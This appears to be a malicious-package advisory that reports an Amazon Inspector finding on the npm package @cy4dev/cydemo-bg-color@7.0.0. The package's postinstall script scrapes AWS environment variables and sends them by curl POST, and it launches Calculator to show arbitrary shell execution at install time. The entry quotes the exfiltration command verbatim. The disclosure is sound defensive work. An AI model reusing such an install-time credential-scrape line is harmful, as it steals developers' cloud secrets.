MAL-2026-12504

--- _-= Per source details. Do not edit below this line.=-_

## Source: amazon-inspector (5e0e5eedb2c2a44513fd808788f02499f57e3c2877c4c69d8a84b0d4038d7fe0) @cy4dev/cydemo-bg-color@7.0.0 ships a postinstall lifecycle script (src/postinstall.js) that runs at `npm install` time and invokes node:child_process.exec with two shell commands. The first, `curl -X POST -d \`env | grep AWS\` http://localhost:8000`, enumerates AWS_*-prefixed environment variables from the installer's shell and POSTs them as the request body — a functioning credential-exfiltration primitive against the installer's environment. The second, `open /System/Applications/Calculator.app`, launches a GUI application on macOS, demonstrating arbitrary host-shell execution triggered solely by installing the package. The package advertises itself as a DOM background-color helper; the postinstall behavior has no build or runtime purpose consistent with that description. The exfiltration destination in this build is loopback (localhost:8000), so the AWS credentials do not leave the host in this specific version, but the credential-scrape and arbitrary-exec code paths execute unconditionally on every install.